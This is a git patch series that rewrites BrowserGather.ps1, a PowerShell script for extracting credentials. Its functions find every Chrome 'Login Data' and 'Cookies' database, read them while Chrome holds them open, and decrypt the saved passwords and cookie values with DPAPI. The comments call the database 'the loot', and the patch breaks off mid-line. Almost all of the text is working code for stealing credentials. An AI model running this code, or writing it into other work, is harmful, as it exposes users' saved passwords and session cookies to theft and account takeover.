From 55afd045a8c53a7773038a7b4a5c37bc7fa470fb Mon Sep 17 00:00:00 2001 From: TheRealNoob Date: Sun, 23 Apr 2017 14:56:10 -0500 Subject: [PATCH 1/4] rewrite Get-ChromeCreds to be more PowerShell-like + Script now finds and runs all 'Login Data' databases. No more providing path DB. + Provided parameter for alternative output format. This output is more PowerShell-like and easily manipulatable. --- BrowserGather.ps1 | 247 +++++++++++++++++++++++++++++++--------------- 1 file changed, 168 insertions(+), 79 deletions(-) diff --git a/BrowserGather.ps1 b/BrowserGather.ps1 index 4e6a6b4..79567c0 100644 --- a/BrowserGather.ps1 +++ b/BrowserGather.ps1 @@ -1,89 +1,178 @@ -# Instructions: import the module, then perform the commanded needed. -# Currently only supports Chrome credential extraction, more to come! +# Instructions: +# Import-Module .\Downloads\BrowserGather.ps1 +# Get-Help Get-ChromeCreds or Get-Help Get-ChromeCookies -# Chrome Credential Extraction -# Use: Get-ChromeCreds [path to Login Data] -# Path is optional, use if automatic search doesn't work +function Get-ChromeCreds { -function Get-ChromeCreds() { - Param( - [String]$Path - ) + <# + Author : sekirkity + Github : https://github.com/sekirkity + + rewritten by + Author : TheRealNoob + Github : https://github.com/TheRealNoob + #> - if ([String]::IsNullOrEmpty($Path)) { - $Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data" - } + <# + .SYNOPSIS + Searches Google Chrome databases for saved Usernames & Passwords + .DESCRIPTION + Extracts Chrome credentials from local databases without writing to disk + .PARAMETER OutputAsObject + The default output format is a text/array dump to host. + This changes the format to storing all Chrome profiles under a single object. Recommended to save output to a variable. This is preferable if you plan to do data manipulation. + Format will look like: - if (![system.io.file]::Exists($Path)) - { - Write-Error 'Chrome db file doesnt exist, or invalid file path specified.' - Break - } + $Object = [PSCustomObject]@{ + Default = @( + URL_Username = @() + Password = @() + ) + Profile1 = @( + URL_Username = @() + Password = @() + ) + SystemProfile = @( + URL_Username = @() + Password = @() + ) + } - Add-Type -AssemblyName System.Security - # Credit to Matt Graber for his technique on using regular expressions to search for binary data - $Stream = New-Object IO.FileStream -ArgumentList "$Path", 'Open', 'Read', 'ReadWrite' - $Encoding = [system.Text.Encoding]::GetEncoding(28591) - $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding - $BinaryText = $StreamReader.ReadToEnd() - $StreamReader.Close() - $Stream.Close() + .EXAMPLE + Get-ChromeCreds + .EXAMPLE + $Variable1 = Get-ChromeCreds -OutputAsObject + .OUTPUTS + Default output is a text/array dump to host. Nice and easy if you want to quickly get info. - # First the magic bytes for the password. Ends using the "http" for the next entry. - $PwdRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=\x68\x74\x74\x70|\Z)' - $PwdMatches = $PwdRegex.Matches($BinaryText) - $PwdNum = 0 - $DecPwdArray = @() - $PwdMatchCount = $PwdMatches.Count - - # Decrypt the password macthes and put them in an array - Foreach ($Pwd in $PwdMatches) { - $Pwd = $Encoding.GetBytes($PwdMatches[$PwdNum]) - $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Pwd,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) - $DecPwd = [System.Text.Encoding]::Default.GetString($Decrypt) - $DecPwdArray += $DecPwd - $PwdNum += 1 - } + The -OutputAsObject switch changes output format. See Parameter help section for more info. + .NOTES + Help file: + Get-Help Get-ChromeCreds + .LINK + http://sekirkity.com/browsergather-part-1-fileless-chrome-credential-extraction-with-powershell/ + https://github.com/sekirkity/BrowserGather + #> - # Now the magic bytes for URLs/Users. Look behind here is the look ahead for passwords. - $UserRegex = [Regex] '(?<=\x0D\x0D\x0D[\s\S]{2}\x68\x74\x74\x70)[\s\S]*?(?=\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)' - $UserMatches = $UserRegex.Matches($BinaryText) - $UserNum = 0 - $UserMatchCount = $UserMatches.Count - $UserArray = @() - - # Check to see if number of users matches the number of passwords. If the values are different, very likely that there was a regex mismatch. - # All returned values should be treated with caution if this error is presented. May be out of order. - - if (-NOT ($UserMatchCount -eq $PwdMatchCount)) { - $Mismatch = [string]"The number of users is different than the number of passwords! This is most likely due to a regex mismatch." - Write-Error $Mismatch - } - - # Add back the "http" used in the regex lookahead - $HTTP = "http" - # Put the URL/User matches into an array - Foreach ($User in $UserMatches) { - $User = $Encoding.GetBytes($UserMatches[$UserNum]) - $User = $HTTPEnc + $User - $UserString = [System.Text.Encoding]::Default.GetString($User) - $UserString = $HTTP + $UserString - $UserArray += $UserString - $UserNum += 1 - } - - # Now create an object to store the previously created arrays - $ArrayFinal = New-Object -TypeName System.Collections.ArrayList - for ($i = 0; $i -lt $UserNum; $i++) { - $ObjectProp = @{ - UserURL = $UserArray[$i] - Password = $DecPwdArray[$i] - } - - $obj = New-Object PSObject -Property $ObjectProp - $ArrayFinal.Add($obj) | Out-Null - } - $ArrayFinal + [CmdletBinding()] + param( + [Switch]$OutputAsObject + ) + + Add-Type -AssemblyName System.Security # Necessary to perform password decryption + $OutputObject = [PSCustomObject]@{} + + + # ****************************** + # + # Find "Login Data" databases. This is where the loot is stored. + # + # ****************************** + + If (Test-Path "$env:localappdata\Google\Chrome\User Data") { + $LoginDataFiles = (Get-ChildItem -Path "$env:localappdata\Google\Chrome\User Data" -Filter "Login Data" -File -Recurse -Force).FullName + } else { + Throw "Chrome database file(s) not found" + } + + If (!(Get-Variable "LoginDataFiles" -ErrorAction SilentlyContinue)) { + Throw "Chrome database file(s) not found" + } + + Foreach ($LoginDataPath in $LoginDataFiles) { + + $ProfileNameFlattened = ([System.IO.directoryinfo] "$LoginDataPath").Parent.Name.Replace(' ','') + Write-Verbose "Opening DB file for Profile: $ProfileNameFlattened" + + # ****************************** + # + # Read from DB file in Read-Only mode + # This gets around the file lock, allowing us to run without closing Chrome. + # + # ****************************** + + ## Credit to Matt Graber for his technique on using regular expressions to search for binary data + $Stream = New-Object IO.FileStream -ArgumentList "$LoginDataPath", 'Open', 'Read', 'ReadWrite' + $Encoding = [system.Text.Encoding]::GetEncoding(28591) + $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding + $LoginDataContent = $StreamReader.ReadToEnd() + $StreamReader.Close() + $Stream.Close() + + # ****************************** + # + # Find and decrypt password fields + # + # ****************************** + + ## First the magic bytes for the password. Ends using the "http" for the next entry. + $PwdRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=\x68\x74\x74\x70|\Z)' + $PwdListEncrypted = $PwdRegex.Matches($LoginDataContent) + $PwdListDecrypted = @() + + ## Decrypt the password matches and put them in an array + Foreach ($Password in $PwdListEncrypted) { + $Password = $Encoding.GetBytes($Password) + $PwdDecryptedByteArray = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) + $PwdListDecrypted += [System.Text.Encoding]::Default.GetString($PwdDecryptedByteArray) + } + + # ****************************** + # + # Find and URL/Username fields + # In the DB - URL & Username are stored in separate fields and can be queried that way, + # but due to the simplicity of the field values and the fact that we're using regex it is not possible to seperate them. + # + # ****************************** + + ## Now the magic bytes for URLs/Users. Look behind here is the look ahead for passwords. + $UserRegex = [Regex] '(?<=\x0D\x0D\x0D[\s\S]{2}\x68\x74\x74\x70)[\s\S]*?(?=\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)' + $UserList = ($UserRegex.Matches($LoginDataContent)).Value + + ## Check to see if number of users matches the number of passwords. If the values are different, very likely that there was a regex mismatch. + ## All returned values should be treated with caution if this error is presented. May be out of order. + If ($UserList.Count -ne $PwdListDecrypted.Count) { + Write-Warning -Message "Found a different number of usernames and passwords! This is likely due to a regex mismatch. You may find that your usernames/passwords do not fit together perfectly." + } + + + # ****************************** + # + # Format and output everything + # + # ****************************** + + ## Redundancy to figure out what to do in the case of a mismatch + If ($UserList.count -ne $PwdListDecrypted.Count) { + If ($UserList.Count -gt -$PwdListDecrypted.Count) { + $Higher = [int]$UserList.count + } else { + $Higher = [int]$PwdListDecrypted.Count + } + } else { + $Higher = [int]$UserList.count # Pick one since it doesn't matter + } + + ## Array stores Username/Password of current Profile + $OutputArray = @() + For ($i = 0; $i -le $Higher; $i++) { + $object = [PSCustomObject]@{} + $object | Add-Member -MemberType NoteProperty -Name 'URL_Username' -Value $UserList[$i] + $object | Add-Member -MemberType NoteProperty -Name 'Password' -Value $PwdListDecrypted[$i] + $OutputArray += $object + } + + If ($OutputAsObject) { + $OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray + } else { + Write-Output "Profile found: $ProfileNameFlattened`n" + Write-output $OutputArray | Format-List + } + } + + If ($OutputAsObject) { + Write-Output $OutputObject + } } # Chrome Cookie Extraction From 7e723d50f515d86addbbcd8c4bacb17d6a451853 Mon Sep 17 00:00:00 2001 From: TheRealNoob Date: Sun, 23 Apr 2017 17:42:23 -0500 Subject: [PATCH 2/4] PSv2 compatability test --- BrowserGather.ps1 | 225 +++++++++++++--------------------------------- 1 file changed, 62 insertions(+), 163 deletions(-) diff --git a/BrowserGather.ps1 b/BrowserGather.ps1 index 79567c0..7291eb1 100644 --- a/BrowserGather.ps1 +++ b/BrowserGather.ps1 @@ -1,4 +1,4 @@ -# Instructions: +# Instructions: # Import-Module .\Downloads\BrowserGather.ps1 # Get-Help Get-ChromeCreds or Get-Help Get-ChromeCookies @@ -14,44 +14,44 @@ function Get-ChromeCreds { #> <# - .SYNOPSIS - Searches Google Chrome databases for saved Usernames & Passwords - .DESCRIPTION - Extracts Chrome credentials from local databases without writing to disk - .PARAMETER OutputAsObject - The default output format is a text/array dump to host. - This changes the format to storing all Chrome profiles under a single object. Recommended to save output to a variable. This is preferable if you plan to do data manipulation. - Format will look like: - - $Object = [PSCustomObject]@{ - Default = @( - URL_Username = @() - Password = @() - ) - Profile1 = @( - URL_Username = @() - Password = @() - ) - SystemProfile = @( - URL_Username = @() - Password = @() - ) - } - - .EXAMPLE - Get-ChromeCreds - .EXAMPLE - $Variable1 = Get-ChromeCreds -OutputAsObject - .OUTPUTS - Default output is a text/array dump to host. Nice and easy if you want to quickly get info. + .SYNOPSIS + Searches Google Chrome databases for saved Usernames & Passwords + .DESCRIPTION + Extracts Chrome credentials from local databases without writing to disk + .PARAMETER OutputAsObject + The default output format is a text/array dump to host. + This changes the format to storing all Chrome profiles under a single object. Recommended to save output to a variable. This is preferable if you plan to do data manipulation. + Format will look like: + + $Object = [PSCustomObject]@{ + Default = @( + URL_Username = @() + Password = @() + ) + Profile1 = @( + URL_Username = @() + Password = @() + ) + SystemProfile = @( + URL_Username = @() + Password = @() + ) + } - The -OutputAsObject switch changes output format. See Parameter help section for more info. - .NOTES - Help file: - Get-Help Get-ChromeCreds - .LINK - http://sekirkity.com/browsergather-part-1-fileless-chrome-credential-extraction-with-powershell/ - https://github.com/sekirkity/BrowserGather + .EXAMPLE + Get-ChromeCreds + .EXAMPLE + $Variable1 = Get-ChromeCreds -OutputAsObject + .OUTPUTS + Default output is a text/array dump to host. Nice and easy if you want to quickly get info. + + The -OutputAsObject switch changes output format. See Parameter help section for more info. + .NOTES + Help file: + Get-Help Get-ChromeCreds + .LINK + http://sekirkity.com/browsergather-part-1-fileless-chrome-credential-extraction-with-powershell/ + https://github.com/sekirkity/BrowserGather #> [CmdletBinding()] @@ -60,29 +60,28 @@ function Get-ChromeCreds { ) Add-Type -AssemblyName System.Security # Necessary to perform password decryption - $OutputObject = [PSCustomObject]@{} + $OutputObject = New-Object -TypeName psobject - # ****************************** # # Find "Login Data" databases. This is where the loot is stored. # # ****************************** - If (Test-Path "$env:localappdata\Google\Chrome\User Data") { - $LoginDataFiles = (Get-ChildItem -Path "$env:localappdata\Google\Chrome\User Data" -Filter "Login Data" -File -Recurse -Force).FullName + If (Test-Path -Path "$env:localappdata\Google\Chrome\User Data") { + $LoginDataFiles = (Get-ChildItem -Path "$env:localappdata\Google\Chrome\User Data" -Filter 'Login Data' -Recurse -Force).FullName } else { - Throw "Chrome database file(s) not found" + Throw 'Chrome database file(s) not found' } - If (!(Get-Variable "LoginDataFiles" -ErrorAction SilentlyContinue)) { - Throw "Chrome database file(s) not found" + If (!(Get-Variable -Name 'LoginDataFiles' -ErrorAction SilentlyContinue)) { + Throw 'Chrome database file(s) not found' } Foreach ($LoginDataPath in $LoginDataFiles) { - $ProfileNameFlattened = ([System.IO.directoryinfo] "$LoginDataPath").Parent.Name.Replace(' ','') - Write-Verbose "Opening DB file for Profile: $ProfileNameFlattened" + $ProfileNameFlattened = ([IO.directoryinfo] "$LoginDataPath").Parent.Name.Replace(' ','') + Write-Verbose -Message "Opening DB file for Profile: $ProfileNameFlattened" # ****************************** # @@ -92,9 +91,9 @@ function Get-ChromeCreds { # ****************************** ## Credit to Matt Graber for his technique on using regular expressions to search for binary data - $Stream = New-Object IO.FileStream -ArgumentList "$LoginDataPath", 'Open', 'Read', 'ReadWrite' - $Encoding = [system.Text.Encoding]::GetEncoding(28591) - $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding + $Stream = New-Object -TypeName IO.FileStream -ArgumentList "$LoginDataPath", 'Open', 'Read', 'ReadWrite' + $Encoding = [Text.Encoding]::GetEncoding(28591) + $StreamReader = New-Object -TypeName IO.StreamReader -ArgumentList $Stream, $Encoding $LoginDataContent = $StreamReader.ReadToEnd() $StreamReader.Close() $Stream.Close() @@ -113,8 +112,8 @@ function Get-ChromeCreds { ## Decrypt the password matches and put them in an array Foreach ($Password in $PwdListEncrypted) { $Password = $Encoding.GetBytes($Password) - $PwdDecryptedByteArray = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) - $PwdListDecrypted += [System.Text.Encoding]::Default.GetString($PwdDecryptedByteArray) + $PwdDecryptedByteArray = [Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser) + $PwdListDecrypted += [Text.Encoding]::Default.GetString($PwdDecryptedByteArray) } # ****************************** @@ -132,7 +131,7 @@ function Get-ChromeCreds { ## Check to see if number of users matches the number of passwords. If the values are different, very likely that there was a regex mismatch. ## All returned values should be treated with caution if this error is presented. May be out of order. If ($UserList.Count -ne $PwdListDecrypted.Count) { - Write-Warning -Message "Found a different number of usernames and passwords! This is likely due to a regex mismatch. You may find that your usernames/passwords do not fit together perfectly." + Write-Warning -Message 'Found a different number of usernames and passwords! This is likely due to a regex mismatch. You may find that your usernames/passwords do not fit together perfectly.' } @@ -154,123 +153,23 @@ function Get-ChromeCreds { } ## Array stores Username/Password of current Profile - $OutputArray = @() + $OutputArray = New-Object -TypeName System.Collections.ArrayList For ($i = 0; $i -le $Higher; $i++) { - $object = [PSCustomObject]@{} + $object = New-Object -TypeName psobject $object | Add-Member -MemberType NoteProperty -Name 'URL_Username' -Value $UserList[$i] $object | Add-Member -MemberType NoteProperty -Name 'Password' -Value $PwdListDecrypted[$i] $OutputArray += $object } - - If ($OutputAsObject) { - $OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray - } else { - Write-Output "Profile found: $ProfileNameFlattened`n" - Write-output $OutputArray | Format-List + + $OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray + + If (!($OutputAsObject)) { + Write-Output -InputObject "`n`nProfile found: $ProfileNameFlattened`n" + Write-output -InputObject $OutputArray | Format-List } } If ($OutputAsObject) { - Write-Output $OutputObject + Write-Output -InputObject $OutputObject } -} - -# Chrome Cookie Extraction -# Use: Get-ChromeCookies [path to Cookies] -# Path is optional, use if automatic search doesn't work - -function Get-ChromeCookies() { - Param( - [String]$Path - ) - - if ([String]::IsNullOrEmpty($Path)) { - $Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Cookies" - } - - if (![system.io.file]::Exists($Path)) - { - Write-Error 'Chrome db file doesnt exist, or invalid file path specified.' - Break - } - Add-Type -AssemblyName System.Security - # Credit to Matt Graber for his technique on using regular expressions to search for binary data - $Stream = New-Object IO.FileStream -ArgumentList $Path, 'Open', 'Read', 'ReadWrite' - $Encoding = [system.Text.Encoding]::GetEncoding(28591) - $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding - $BinaryText = $StreamReader.ReadToEnd() - $StreamReader.Close() - $Stream.Close() - - # Regex for the encrypted blob. Starting bytes were easy, but the terminating bytes were tricky. Four different scenarios are covered. - $BlobRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=[\s\S]{2}\x97[\s\S]{8}\x00[\s\S]{2}\x0D|\x0D[\s\S]{2}\x00[\s\S]{3}\x00\x02|\x00{20}|\Z)' - $BlobMatches = $BlobRegex.Matches($BinaryText) - $BlobNum = 0 - $DecBlobArray = @() - $BlobMatchCount = $BlobMatches.Count - - # Attempt to decrypt the blob. If it fails, a null byte is added to the end. - # If it fails again, most likely due to non-contiguous storage. The blob value will be changed. - # Then puts results into an array. - - Foreach ($Blob in $BlobMatches) { - $Blob = $Encoding.GetBytes($BlobMatches[$BlobNum]) - try { - $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Blob,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) - } - catch { - $Blob = $Blob + " 0" - try { - $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Blob,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) - } - catch { - $Decrypt = [string]"Unable to decrypt blob" - $DecBlob = [string]"Unable to decrypt blob" - $Error = [string]"Unable to decrypt blob. The value of the cookie will be changed to (Unable to decrypt blob)." - Write-Error $Error - } - } - $DecBlob = [System.Text.Encoding]::Default.GetString($Decrypt) - $DecBlobArray += $DecBlob - $BlobNum += 1 - } - - # Regex for cookie hostname, name, and path, in that order. Inital magic bytes were very tricky. Reads until a null byte value is found. - - $CookieRegex = [Regex] '(?<=\x97[\s\S]{8}\x00[\s\S]{2}\x0D[\s\S]{11,12})[\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2d\x21\x20\x22\x20\x23\x20\x24\x20\x25\x20\x26\x20\x27\x20\x28\x20\x29\x20\x2a\x20\x2b\x2d\x20\x2e\x20\x2f\x3a\x3c\x20\x3d\x20\x3e\x20\x3f\x20\x40\x5b\x20\x5c\x20\x5d\x20\x5e\x20\x5f\x20\x60\x7b\x20\x7c\x20\x7d\x20\x7e\x2c]{3,}?(?=[\x00\x01\x02\x03])' - $CookieMatches = $CookieRegex.Matches($BinaryText) - $CookieMatchCount = $CookieMatches.Count - - # Check to see if number of cookies matches the number of encrypted blobs. If the values are different, very likely that there was a regex mismatch. - # All returned values should be treated with caution if this error is presented. May be out of order. - - if (-NOT ($CookieMatchCount -eq $BlobMatchCount)) { - $Mismatch = [string]"The number of cookies is different than the number of encrypted blobs! This is most likely due to a regex mismatch." - Write-Error $Mismatch - } - - # Put cookies into an array. - - $CookieNum = 0 - $CookieArray = @() - Foreach ($Cookie in $CookieMatches) { - $Cookie = $Encoding.GetBytes($CookieMatches[$CookieNum]) - $CookieString = [System.Text.Encoding]::Default.GetString($Cookie) - $CookieArray += $CookieString - $CookieNum += 1 - } - - # Now create an object to store the previously created arrays. - - $ArrayFinal = New-Object -TypeName System.Collections.ArrayList - for ($i = 0; $i -lt $CookieNum; $i++) { - $ObjectProp = @{ - Blob = $DecBlobArray[$i] - Cookie = $CookieArray[$i] - } - - $obj = New-Object PSObject -Property $ObjectProp - $ArrayFinal.Add($obj) | Out-Null - } - $ArrayFinal -} +} \ No newline at end of file From 22ac201456dd7a578ad6c46291f0562c622732bf Mon Sep 17 00:00:00 2001 From: TheRealNoob Date: Sun, 23 Apr 2017 17:56:27 -0500 Subject: [PATCH 3/4] Finalized PSv2 compatability --- BrowserGather.ps1 | 111 +++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 104 insertions(+), 7 deletions(-) diff --git a/BrowserGather.ps1 b/BrowserGather.ps1 index 7291eb1..d58a548 100644 --- a/BrowserGather.ps1 +++ b/BrowserGather.ps1 @@ -1,8 +1,4 @@ -# Instructions: -# Import-Module .\Downloads\BrowserGather.ps1 -# Get-Help Get-ChromeCreds or Get-Help Get-ChromeCookies - -function Get-ChromeCreds { +function Get-ChromeCreds { <# Author : sekirkity @@ -80,8 +76,8 @@ function Get-ChromeCreds { Foreach ($LoginDataPath in $LoginDataFiles) { + Write-Verbose -Message "Opening DB file: $LoginDataFiles" $ProfileNameFlattened = ([IO.directoryinfo] "$LoginDataPath").Parent.Name.Replace(' ','') - Write-Verbose -Message "Opening DB file for Profile: $ProfileNameFlattened" # ****************************** # @@ -152,7 +148,7 @@ function Get-ChromeCreds { $Higher = [int]$UserList.count # Pick one since it doesn't matter } - ## Array stores Username/Password of current Profile + ## Create URL_Username/Password array of current Profile $OutputArray = New-Object -TypeName System.Collections.ArrayList For ($i = 0; $i -le $Higher; $i++) { $object = New-Object -TypeName psobject @@ -161,6 +157,7 @@ function Get-ChromeCreds { $OutputArray += $object } + ## Append array to object $OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray If (!($OutputAsObject)) { @@ -172,4 +169,104 @@ function Get-ChromeCreds { If ($OutputAsObject) { Write-Output -InputObject $OutputObject } +} + +# Chrome Cookie Extraction +# Use: Get-ChromeCookies [path to Cookies] +# Path is optional, use if automatic search doesn't work + +function Get-ChromeCookies() { + Param( + [String]$Path + ) + + if ([String]::IsNullOrEmpty($Path)) { + $Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Cookies" + } + + if (![system.io.file]::Exists($Path)) + { + Write-Error 'Chrome db file doesnt exist, or invalid file path specified.' + Break + } + Add-Type -AssemblyName System.Security + # Credit to Matt Graber for his technique on using regular expressions to search for binary data + $Stream = New-Object IO.FileStream -ArgumentList $Path, 'Open', 'Read', 'ReadWrite' + $Encoding = [system.Text.Encoding]::GetEncoding(28591) + $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding + $BinaryText = $StreamReader.ReadToEnd() + $StreamReader.Close() + $Stream.Close() + + # Regex for the encrypted blob. Starting bytes were easy, but the terminating bytes were tricky. Four different scenarios are covered. + $BlobRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=[\s\S]{2}\x97[\s\S]{8}\x00[\s\S]{2}\x0D|\x0D[\s\S]{2}\x00[\s\S]{3}\x00\x02|\x00{20}|\Z)' + $BlobMatches = $BlobRegex.Matches($BinaryText) + $BlobNum = 0 + $DecBlobArray = @() + $BlobMatchCount = $BlobMatches.Count + + # Attempt to decrypt the blob. If it fails, a null byte is added to the end. + # If it fails again, most likely due to non-contiguous storage. The blob value will be changed. + # Then puts results into an array. + + Foreach ($Blob in $BlobMatches) { + $Blob = $Encoding.GetBytes($BlobMatches[$BlobNum]) + try { + $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Blob,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) + } + catch { + $Blob = $Blob + " 0" + try { + $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Blob,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser) + } + catch { + $Decrypt = [string]"Unable to decrypt blob" + $DecBlob = [string]"Unable to decrypt blob" + $Error = [string]"Unable to decrypt blob. The value of the cookie will be changed to (Unable to decrypt blob)." + Write-Error $Error + } + } + $DecBlob = [System.Text.Encoding]::Default.GetString($Decrypt) + $DecBlobArray += $DecBlob + $BlobNum += 1 + } + + # Regex for cookie hostname, name, and path, in that order. Inital magic bytes were very tricky. Reads until a null byte value is found. + + $CookieRegex = [Regex] '(?<=\x97[\s\S]{8}\x00[\s\S]{2}\x0D[\s\S]{11,12})[\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2d\x21\x20\x22\x20\x23\x20\x24\x20\x25\x20\x26\x20\x27\x20\x28\x20\x29\x20\x2a\x20\x2b\x2d\x20\x2e\x20\x2f\x3a\x3c\x20\x3d\x20\x3e\x20\x3f\x20\x40\x5b\x20\x5c\x20\x5d\x20\x5e\x20\x5f\x20\x60\x7b\x20\x7c\x20\x7d\x20\x7e\x2c]{3,}?(?=[\x00\x01\x02\x03])' + $CookieMatches = $CookieRegex.Matches($BinaryText) + $CookieMatchCount = $CookieMatches.Count + + # Check to see if number of cookies matches the number of encrypted blobs. If the values are different, very likely that there was a regex mismatch. + # All returned values should be treated with caution if this error is presented. May be out of order. + + if (-NOT ($CookieMatchCount -eq $BlobMatchCount)) { + $Mismatch = [string]"The number of cookies is different than the number of encrypted blobs! This is most likely due to a regex mismatch." + Write-Error $Mismatch + } + + # Put cookies into an array. + + $CookieNum = 0 + $CookieArray = @() + Foreach ($Cookie in $CookieMatches) { + $Cookie = $Encoding.GetBytes($CookieMatches[$CookieNum]) + $CookieString = [System.Text.Encoding]::Default.GetString($Cookie) + $CookieArray += $CookieString + $CookieNum += 1 + } + + # Now create an object to store the previously created arrays. + + $ArrayFinal = New-Object -TypeName System.Collections.ArrayList + for ($i = 0; $i -lt $CookieNum; $i++) { + $ObjectProp = @{ + Blob = $DecBlobArray[$i] + Cookie = $CookieArray[$i] + } + + $obj = New-Object PSObject -Property $ObjectProp + $ArrayFinal.Add($obj) | Out-Null + } + $ArrayFinal } \ No newline at end of file From 169b67dc43897c512b4d2b9df955f1bc38d49594 Mon Sep 17 00:00:00 2001 From: TheRealNoob Date: Sun, 30 Apr 2017 00:07:06 -0500 Subject: [PATCH 4/4] small logic tweaks and performance improvements --- BrowserGather.ps1 | 34 +++++++++++++++------------------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/BrowserGather.ps1 b/BrowserGather.ps1 index d58a548..12baaac 100644 --- a/BrowserGather.ps1 +++ b/BrowserGather.ps1 @@ -130,7 +130,6 @@ Write-Warning -Message 'Found a different number of usernames and passwords! This is likely due to a regex mismatch. You may find that your usernames/passwords do not fit together perfectly.' } - # ****************************** # # Format and output everything @@ -157,10 +156,9 @@ $OutputArray += $object } - ## Append array to object - $OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray - - If (!($OutputAsObject)) { + If ($OutputAsObject) { + $OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray + } else { Write-Output -InputObject "`n`nProfile found: $ProfileNameFlattened`n" Write-output -InputObject $OutputArray | Format-List } @@ -177,19 +175,17 @@ function Get-ChromeCookies() { Param( - [String]$Path + [ValidateNotNullOrEmpty()] + [String]$Path = "$env:localappdata\Google\Chrome\User Data\Default\Cookies" ) + + Add-Type -AssemblyName System.Security - if ([String]::IsNullOrEmpty($Path)) { - $Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Cookies" - } - - if (![system.io.file]::Exists($Path)) + If (!(Test-Path -Path $Path)) { - Write-Error 'Chrome db file doesnt exist, or invalid file path specified.' - Break + Throw 'Chrome db file doesnt exist, or invalid file path specified.' } - Add-Type -AssemblyName System.Security + # Credit to Matt Graber for his technique on using regular expressions to search for binary data $Stream = New-Object IO.FileStream -ArgumentList $Path, 'Open', 'Read', 'ReadWrite' $Encoding = [system.Text.Encoding]::GetEncoding(28591) @@ -197,14 +193,14 @@ function Get-ChromeCookies() { $BinaryText = $StreamReader.ReadToEnd() $StreamReader.Close() $Stream.Close() - + # Regex for the encrypted blob. Starting bytes were easy, but the terminating bytes were tricky. Four different scenarios are covered. $BlobRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=[\s\S]{2}\x97[\s\S]{8}\x00[\s\S]{2}\x0D|\x0D[\s\S]{2}\x00[\s\S]{3}\x00\x02|\x00{20}|\Z)' $BlobMatches = $BlobRegex.Matches($BinaryText) $BlobNum = 0 $DecBlobArray = @() $BlobMatchCount = $BlobMatches.Count - + # Attempt to decrypt the blob. If it fails, a null byte is added to the end. # If it fails again, most likely due to non-contiguous storage. The blob value will be changed. # Then puts results into an array. @@ -241,8 +237,7 @@ function Get-ChromeCookies() { # All returned values should be treated with caution if this error is presented. May be out of order. if (-NOT ($CookieMatchCount -eq $BlobMatchCount)) { - $Mismatch = [string]"The number of cookies is different than the number of encrypted 